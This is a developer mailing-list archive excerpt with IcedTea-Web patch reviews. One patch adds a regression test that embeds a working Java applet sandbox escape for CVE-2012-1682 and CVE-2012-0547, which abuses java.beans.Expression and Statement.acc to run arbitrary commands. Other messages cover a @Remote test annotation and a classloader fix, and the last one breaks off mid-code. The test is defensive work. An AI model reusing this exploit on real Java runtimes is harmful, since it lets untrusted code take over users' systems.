> + > + > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxApplet.jnlp > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxApplet.jnlp > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,61 @@ > + > + > + codebase="."> > + > + BeansStatementBreakSandboxApplet > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementBreakSandboxApplet > + > + > + > + > + > + > + + documentBase="." > + name="BeansStatementBreakSandboxApplet" > + main-class="BeansStatementBreakSandbox1" > + width="100" > + height="100"> > + > + > + > + > + > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxWS.jnlp > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/resources/BeansStatementBreakSandboxWS.jnlp > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,56 @@ > + > + > + > + > + BeansStatementBreakSandboxWS > + IcedTea > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + BeansStatementBreakSandboxWS > + > + > + > + > + > + > + > + > + > + > + > + > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox1.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox1.java > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,49 @@ > +/* BeansStatementBreakSandbox1.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.applet.Applet; > + > + > +public class BeansStatementBreakSandbox1 extends Applet { Argh, you love numbers :-) It's OK in this case since its easy to see what this does at a glance, but I prefer adding an extra word to the name when you need to make a distinction, eg 'Runner' or 'Delegate' here. > + > + @Override > + public void init() { > + BeansStatementBreakSandbox2.main(new String[0]); > + > + } > + > +} > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox2.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/srcs/BeansStatementBreakSandbox2.java > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,182 @@ > +/* BeansStatementBreakSandbox2.java > + Copyright (C) 2011 Red Hat, Inc. > + > + This file is part of IcedTea. > + > + IcedTea is free software; you can redistribute it and/or > + modify it under the terms of the GNU General Public License as > published by > + the Free Software Foundation, version 2. > + > + IcedTea is distributed in the hope that it will be useful, > + but WITHOUT ANY WARRANTY; without even the implied warranty of > + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > + General Public License for more details. > + > + You should have received a copy of the GNU General Public License > + along with IcedTea; see the file COPYING. If not, write to > + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > + 02110-1301 USA. > + > + Linking this library statically or dynamically with other modules is > + making a combined work based on this library. Thus, the terms and > + conditions of the GNU General Public License cover the whole > + combination. > + > + As a special exception, the copyright holders of this library give you > + permission to link this library with independent modules to produce an > + executable, regardless of the license terms of these independent > + modules, and to copy and distribute the resulting executable under > + terms of your choice, provided that you also meet, for each linked > + independent module, the terms and conditions of the license of that > + module. An independent module is a module which is not derived from > + or based on this library. If you modify this library, you may extend > + this exception to your version of the library, but you are not > + obligated to do so. If you do not wish to do so, delete this > + exception statement from your version. > + */ > + > +import java.beans.Statement; > +import java.beans.Expression; > + > +import java.lang.reflect.Field; > +import java.net.URL; > +import java.security.*; > +import java.security.cert.Certificate; > +import java.io.InputStreamReader; > +import java.io.BufferedReader; > + > +/** > + * > + * Summary for Was there supposed to be something more here ? Or is it something like 'See:' ? > + * > + * @ > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682 and > + * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547 > + */ > +public class BeansStatementBreakSandbox2 { > + > + public static int runproc(Process proc) throws Exception { > + BufferedReader cmdout = new BufferedReader(new > InputStreamReader(proc.getInputStream())); > + String line; > + while ((line = cmdout.readLine()) != null) { > + System.out.println(line); > + } > + proc.waitFor(); > + return proc.exitValue(); > + } > + > + public static void runcommand_exploit(String cmd) throws Exception { > + Expression exec_ex = new Expression(Runtime.getRuntime(), > "exec", new String[]{cmd}); > + > + Permissions perms = new Permissions(); > + perms.add(new AllPermission()); > + ProtectionDomain protdomain = new ProtectionDomain( > + new CodeSource(new URL("file:///"), new > Certificate[0]), perms); > + AccessControlContext acc = new AccessControlContext(new > ProtectionDomain[]{protdomain}); > + > + Expression tmp_ex = new Expression(Class.class, "forName", > new Object[]{"sun.awt.SunToolkit"}); > + tmp_ex.execute(); > + Class toolkit = (Class) tmp_ex.getValue(); > + > + tmp_ex = new Expression(toolkit, "getField", new > Object[]{Statement.class, "acc"}); > + tmp_ex.execute(); > + ((Field) tmp_ex.getValue()).set(exec_ex, acc); > + exec_ex.execute(); > + > + runproc((Process) exec_ex.getValue()); > + } > + > + public static void runcommand_direct(String cmd) throws Exception { > + runproc(Runtime.getRuntime().exec(cmd)); > + } > + > + public static void main(String[] args) { > + try { > + System.out.println("Running GondvvTest"); > + args = new String[]{"/bin/date"}; > + try { > + System.out.println("Directly calling: > Class.forName(\"sun.awt.SunToolkit\")"); > + > + Object cl = Class.forName("sun.awt.SunToolkit"); > + System.out.println("FAIL: " + cl.toString()); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + > + try { > + System.out.println("Calling: Expression(Class.class, > \"forName\", new String[]{\"sun.awt.SunToolkit\"})"); > + > + Expression ex = new Expression(Class.class, > "forName", new String[]{"sun.awt.SunToolkit"}); > + ex.execute(); > + Object cl = ex.getValue(); > + System.out.println("FAIL: " + cl.toString()); > + System.out.println(); > + System.out.println("Checking if SunToolkit class > reference is usable"); > + try { > + ex = new Expression(cl, "getField", new > Object[]{Byte.class, "SIZE"}); > + ex.execute(); > + System.out.println("FAIL: " + > ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " > + e.toString()); > + e.printStackTrace(); > + } > + > + try { > + ex = new Expression(cl, "getField", new > Object[]{Statement.class, "acc"}); > + ex.execute(); > + System.out.println("FAIL: " + > ex.getValue().toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("INFO: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " > + e.toString()); > + e.printStackTrace(); > + } > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + try { > + System.out.println("Running command directly: " + > args[0]); > + runcommand_direct(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + > + try { > + System.out.println("Running command using exploit: " > + args[0]); > + runcommand_exploit(args[0]); > + System.out.println("FAIL: commnad was run"); > + } catch (AccessControlException e) { > + System.out.println("OK: got expected: " + e.toString()); > + } catch (NoSuchMethodException e) { > + System.out.println("FAIL: " + e.toString()); > + e.printStackTrace(); > + } catch (Exception e) { > + System.out.println("FAIL: unexpected exception: " + > e.toString()); > + e.printStackTrace(); > + } > + System.out.println(); > + } finally { > + System.out.println("*** APPLET FINISHED ***"); > + } > + > + } > +} > diff -r afea49865f57 > tests/reproducers/simple/BeansStatementBreakSandbox/testcases/BeansStatementBreakSandboxTests.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/simple/BeansStatementBreakSandbox/testcases/BeansStatementBreakSandboxTests.java > Mon Dec 17 17:13:25 2012 +0100 > @@ -0,0 +1,83 @@ > +/* BeansStatementBreakSandboxTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.annotations.Bug; > +import net.sourceforge.jnlp.browsertesting.BrowserTest; > +import net.sourceforge.jnlp.browsertesting.Browsers; > +import net.sourceforge.jnlp.annotations.NeedsDisplay; > +import net.sourceforge.jnlp.annotations.TestInBrowsers; > +import net.sourceforge.jnlp.closinglisteners.AutoOkClosingListener; > +import org.junit.Assert; > + > +import org.junit.Test; > + > +public class BeansStatementBreakSandboxTests extends BrowserTest { > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementBreakSandboxTestWS() throws Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementBreakSandboxWS.jnlp", new > AutoOkClosingListener(),null, null); > Why does javaws needs a closing listener here ? > + evaluate(pr); > + } > + > + @Test > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementBreakSandboxTesWsApplet() throws > Exception { > + ProcessResult pr = server.executeJavawsHeadless(null, > "/BeansStatementBreakSandboxApplet.jnlp", new > AutoOkClosingListener(),null, null); > + evaluate(pr); > + } > + > + @Test > + @TestInBrowsers(testIn = {Browsers.all}) > + @NeedsDisplay > + > @Bug(id={"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1682", "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0547"}) > + public void BeansStatementBreakSandboxTestApplet() throws Exception { > + ProcessResult pr = > server.executeBrowser("/BeansStatementBreakSandbox.html", new > AutoOkClosingListener(),null); > + evaluate(pr); > + Assert.assertTrue(pr.wasTerminated); > + } > + > + private void evaluate(ProcessResult pr) { > + Assert.assertTrue("Output of reproducerwas empty => it was > not run", (pr.stdout.length() > 0)); > + Assert.assertTrue("Output of reproducerwas have not > contained 'Running GondvvTest' => it was not run", > (pr.stdout.contains("Running GondvvTest"))); > + Assert.assertFalse("Output of reproducer contained FAIL, that > means that exploit have hacked your system", > (pr.stdout.contains("FAIL:"))); > + > + } > +} Looks OK from my end, but do answer to Omair :-) -Adam From adomurad at redhat.com Mon Dec 17 11:07:47 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 14:07:47 -0500 Subject: [rfc][icedtea-web] @Remote and automated manual testcases In-Reply-To: <5032730C.6060706@redhat.com> References: <5032730C.6060706@redhat.com> Message-ID: <50CF6D83.7030005@redhat.com> On 08/20/2012 01:25 PM, Jiri Vanek wrote: > hi! > > I would like to introduce Remote annotation for launching remote jnlp > files (and appelts). Especially for automation of > http://icedtea.classpath.org/wiki/IcedTea-Web-Tests . > > For jnlp files I would like to continue in way as suggested in patch > (as most of them for now do not have any output :-/ [but I know that a > lot of *have* output to check]). > > For applets there will be challenge to deal with various certficates, > but it will be possible by new robot-like engien we are trying now in > brno. > > Currently the remote tests are run in default and no sign of @remote > is in html report. But both will be fixed in case that this annotation > and automatism will be found worthy. > Also some changes in wiki I would like to introduce after this > automation is done. eg for now it will be like: > > ... > IcedTea-Web webstart test applications > > Note: A lot of these are not Free Software. > http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp > (automated) > http://www.arbores.ca/AnnuityCalc.jnlp (automated) > http://www.ucware.com/apev/jaws/apev.jnlp (not working, one needs > paied account) > http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp > (sometimes do not start, always starts with -Xtrustall, automated) > http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp > (automatised, with -Xnofork, otherwise do not close correctly) > http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp > (automated) > http://www.crossftp.com/crossftp.jnlp (trial, can't be automated) > http://www.arbores.ca/Deposit.jnlp > http://java.sun.com/javase/technologies/desktop/javawebstart/apps/draw.jnlp > > ... > > Where automatised can be links to test files. > > Hope that this is worthy. > > There is close connection with [rfc][icedtea-web] do exec java > instead of plain java in javaws. If it will not able to go in, then I > will need to add some killing mechanism (eg as the one in DeadlockTest > - Xfork tests) Thanks for the ping! This would be nice to have. My current solution for remote tests is a little bash script :-) I assume everything needed is in now, yes ? > > > Regards, > J. > diff -r 6e84854aecba > tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/test-extensions/net/sourceforge/jnlp/annotations/Remote.java > Mon Aug 20 18:42:19 2012 +0200 > @@ -0,0 +1,52 @@ > +/* Bug.java > +Copyright (C) 2012 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +package net.sourceforge.jnlp.annotations; > + > +import java.lang.annotation.ElementType; > +import java.lang.annotation.Retention; > +import java.lang.annotation.RetentionPolicy; > +import java.lang.annotation.Target; > + > +/** > + * Mark for tests running content on remote servers > + */ > + at Target({ElementType.TYPE}) > + at Retention(RetentionPolicy.RUNTIME) > +public @interface Remote { > + > +} > diff -r 6e84854aecba tests/junit-runner/JunitLikeXmlOutputListener.java > --- a/tests/junit-runner/JunitLikeXmlOutputListener.java Sun Aug 19 > 16:50:30 2012 +0200 > +++ b/tests/junit-runner/JunitLikeXmlOutputListener.java Mon Aug 20 > 18:24:47 2012 +0200 > @@ -23,6 +23,7 @@ > import java.util.concurrent.TimeUnit; > import net.sourceforge.jnlp.annotations.Bug; > import net.sourceforge.jnlp.annotations.KnownToFail; > +import net.sourceforge.jnlp.annotations.Remote; > > > import org.junit.internal.JUnitSystem; > @@ -49,6 +50,7 @@ > private static final String BUGS = "bugs"; > private static final String BUG = "bug"; > private static final String K2F = "known-to-fail"; > + private static final String REMOTE = "remote"; > private static final String TEST_NAME_ATTRIBUTE = "name"; > private static final String TEST_TIME_ATTRIBUTE = "time"; > private static final String TEST_IGNORED_ATTRIBUTE = "ignored"; > @@ -198,6 +200,7 @@ > testcaseAtts.put(TEST_IGNORED_ATTRIBUTE, > Boolean.TRUE.toString()); > } > KnownToFail k2f=null; > + Remote remote=null; > try { > if (testClass != null && testMethod != null) { > k2f = testMethod.getAnnotation(KnownToFail.class); > @@ -208,6 +211,16 @@ > } catch (Exception ex) { > ex.printStackTrace(); > } > + try { > + if (testClass != null && testMethod != null) { > + remote = > testMethod.getClass().getAnnotation(Remote.class); > + if (k2f != null) { > + testcaseAtts.put(REMOTE, Boolean.TRUE.toString()); > + } > + } > + } catch (Exception ex) { > + ex.printStackTrace(); > + } > openElement(TEST_ELEMENT, testcaseAtts); > if (testFailed != null) { > if (k2f != null) { > diff -r 6e84854aecba tests/junit-runner/LessVerboseTextListener.java > --- a/tests/junit-runner/LessVerboseTextListener.java Sun Aug 19 > 16:50:30 2012 +0200 > +++ b/tests/junit-runner/LessVerboseTextListener.java Mon Aug 20 > 18:24:47 2012 +0200 > @@ -8,6 +8,7 @@ > import java.io.PrintStream; > import java.lang.reflect.Method; > import net.sourceforge.jnlp.annotations.KnownToFail; > +import net.sourceforge.jnlp.annotations.Remote; > > import org.junit.internal.JUnitSystem; > import org.junit.runner.Description; > @@ -37,6 +38,7 @@ > public void testIgnored(Description description) throws Exception { > writer.println("Ignored: " + description.getClassName() + "." > + description.getMethodName()); > printK2F(writer, null, description); > + printRemote(writer, description); > } > > > @@ -45,6 +47,7 @@ > testFailed = true; > writer.println("FAILED: " + failure.getTestHeader() + " " + > failure.getMessage()); > printK2F(writer,true,failure.getDescription()); > + printRemote(writer, failure.getDescription()); > } > > @Override > @@ -52,6 +55,7 @@ > if (!testFailed) { > writer.println("Passed: " + description.getClassName() + > "." + description.getMethodName()); > printK2F(writer,false,description); > + printRemote(writer, description); > } > } > > @@ -114,4 +118,30 @@ > return null; > } > > + > + > + public static Remote getRemote(Description description) { > + try { > + Class q = description.getTestClass(); > + if (q != null) { > + Remote rem = (Remote) q.getAnnotation(Remote.class); > + return rem; > + } > + } catch (Exception ex) { > + ex.printStackTrace(); > + } > + return null; > + } > + > + > + private void printRemote(PrintStream writer, Description > description) { > + try { > + Remote rem = getRemote(description); > + if (rem!=null) { > + writer.println(" - This test is running remote > content, can fail without any internal reason"); Maybe clearer is 'This test is running remote content, note that failures may be caused by broken applications" > + } > + } catch (Exception ex) { > + ex.printStackTrace(); > + } > + } > } This part looks OK otherwise. > diff -r 6e84854aecba tests/reproducers/custom/remote/srcs/Makefile Good idea treating this as custom-reproducer > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ b/tests/reproducers/custom/remote/srcs/Makefile Mon Aug 20 > 18:42:19 2012 +0200 > @@ -0,0 +1,5 @@ > +prepare-reproducer: > + echo "Nothing to do to prepare remote reproducers now" > + > +clean-reproducer: > + echo "Nothing to do to clean remote reproducers now" > diff -r 6e84854aecba > tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/custom/remote/testcases/RemoteApplicationSettings.java > Mon Aug 20 18:42:19 2012 +0200 > @@ -0,0 +1,126 @@ > +/* RemoteApplicationTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.net.MalformedURLException; > +import java.net.URL; > +import net.sourceforge.jnlp.ProcessResult; > +import org.junit.Assert; > +import org.junit.Test; > + > +; > + > +public class RemoteApplicationSettings { > + > + public static interface RemoteApplicationTestcaseSettings { > + > + public URL getUrl() throws MalformedURLException; Checked exceptions suck ... no point here, just ranting :-D > + > + public void evaluate(ProcessResult pr); > + } > + > + public static class FourierTransform implements > RemoteApplicationTestcaseSettings { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://www.cs.brown.edu/exploratories/freeSoftware/repository/edu/brown/cs/exploratories/applets/fft1DApp/1d_fast_fourier_transform_java_jnlp.jnlp"); > + } > + > + @Override > + public void evaluate(ProcessResult pr) { > + Assert.assertTrue(pr.stdout.length() == 0); > + Assert.assertTrue(pr.stderr.length() == 0 || > pr.stderr.contains(IllegalStateException.class.getName())); Why is this illegal state exception valid ? > + > + } > + } > + > + public abstract static class NoOutputs implements > RemoteApplicationTestcaseSettings { > + > + @Override > + public void evaluate(ProcessResult pr) { > + Assert.assertTrue(pr.stdout.length() == 0); > + Assert.assertTrue(pr.stderr.length() == 0); > + > + } > + } Although I'd make this a concrete class that accepts the URL string, I guess tons of classes is fine if you like that sort of thing :-) > + > + public static class Arbores extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new URL("http://www.arbores.ca/AnnuityCalc.jnlp"); > + } > + } > + > + public static class PhetSims extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://phetsims.colorado.edu/sims/circuit-construction-kit/circuit-construction-kit-dc_en.jnlp"); > + } > + } > + > + public static class TopCoder extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://www.topcoder.com/contest/arena/ContestAppletProd.jnlp"); > + } > + } > + > + public static class SunSwingDemo extends NoOutputs { > + > + @Override > + public URL getUrl() throws MalformedURLException { > + return new > URL("http://java.sun.com/docs/books/tutorialJWS/uiswing/events/ex6/ComponentEventDemo.jnlp"); > + } > + } > + > + @Test > + public void remoteApplicationSettingsAreWorking() throws Exception { > + RemoteApplicationTestcaseSettings s5 = new FourierTransform(); > + Assert.assertNotNull(s5.getUrl()); > + RemoteApplicationTestcaseSettings s4 = new Arbores(); > + Assert.assertNotNull(s4.getUrl()); > + RemoteApplicationTestcaseSettings s3 = new PhetSims(); > + Assert.assertNotNull(s3.getUrl()); > + RemoteApplicationTestcaseSettings s2 = new TopCoder(); > + Assert.assertNotNull(s2.getUrl()); > + RemoteApplicationTestcaseSettings s1 = new SunSwingDemo(); > + Assert.assertNotNull(s1.getUrl()); > + > + } > +} > diff -r 6e84854aecba > tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java > --- /dev/null Thu Jan 01 00:00:00 1970 +0000 > +++ > b/tests/reproducers/custom/remote/testcases/RemoteApplicationTests.java Mon > Aug 20 18:42:19 2012 +0200 > @@ -0,0 +1,89 @@ > +/* RemoteApplicationTests.java > +Copyright (C) 2011 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import java.util.Arrays; > +import java.util.Collections; > +import java.util.List; > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.ServerAccess; > +import net.sourceforge.jnlp.annotations.Remote; > +import org.junit.Test; > + > + at Remote > +public class RemoteApplicationTests { > + > + private static ServerAccess server = new ServerAccess(); > + private final List l = > Collections.unmodifiableList(Arrays.asList(new String[]{"-Xtrustall"})); > + private final List ll = > Collections.unmodifiableList(Arrays.asList(new String[]{"-Xtrustall", > "-Xnofork"})); > + > + > + @Test > + public void topCoderRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.TopCoder(); > + ProcessResult pr = server.executeJavawsUponUrl(ll, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + @Test > + public void sunSwingRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.SunSwingDemo(); > + ProcessResult pr = server.executeJavawsUponUrl(l, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + > + @Test > + public void fourierTransformRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.FourierTransform(); > + ProcessResult pr = server.executeJavawsUponUrl(null, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + @Test > + public void arboresRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.Arbores(); > + ProcessResult pr = server.executeJavawsUponUrl(l, > settings.getUrl()); > + settings.evaluate(pr); > + } > + > + @Test > + public void phetsimsRemoteTest() throws Exception { > + RemoteApplicationSettings.RemoteApplicationTestcaseSettings settings > = new RemoteApplicationSettings.PhetSims(); > + ProcessResult pr = server.executeJavawsUponUrl(l, > settings.getUrl()); > + settings.evaluate(pr); > + } > +} Looks good, OK for HEAD -Adam From adomurad at redhat.com Mon Dec 17 12:34:45 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 17 Dec 2012 15:34:45 -0500 Subject: Regression in icedtea-web - parent classsloader have been stopped to be invoked In-Reply-To: <50CF3042.1060908@redhat.com> References: <50CF3042.1060908@redhat.com> Message-ID: <50CF81E5.4030603@redhat.com> On 12/17/2012 09:46 AM, Jiri Vanek wrote: > After this commit - > changeset: 514:855087771e7e > tag: tip > user: Adam Domurad > date: Tue Aug 28 14:36:06 2012 -0400 > summary: Fix for PR920: Classes attempted to load twice when > class extends from outside jar > > There is regression that parent class loader is never used for > searching in classes. I blame also review a lot (me:-/) because > unittest was broken by this commit. > > See: > CodeBaseClassLoaderTest.testParentClassLoaderIsAskedForClassesApplication > as reproducer. > > Sorry for late notification, > J. Thanks for pointing this out (or rather forcing me to accept this wasn't a bad-test, quite good one in fact :), easy fix: 2012-XX-XX Adam Domurad Fix breakage in unit test CodeBaseClassLoaderTest.testParentClassLoaderIsAskedForClassesApplication * netx/net/sourceforge/jnlp/runtime/JNLPClassLoader.java (CodeBaseClassLoader#findClassNonRecursive): New, call into URLClassLoader#findClass (CodeBaseClassLoader#findClass): Delegate JNLPClassLoader#findClass (JNLPClassLoader#findClass): Call CodeBaseClassLoader#findClassNonRecursive * tests/reproducers/custom/AppletExtendsFromOutsideJar/srcs/AppletReferenceOutOfJar.java (init): Add applet finish message. * tests/reproducers/custom/AppletExtendsFromOutsideJar/testcases/AppletExtendsFromOutsideJarTests.java (testClassInAppletFolder): Close quickly on applet finish message. The basics of it come down to that the original code (pre-patch) was essentially correct except it did: - if (!recursivelyInvoked) { - try { - return parentJNLPClassLoader.findClass(name); - 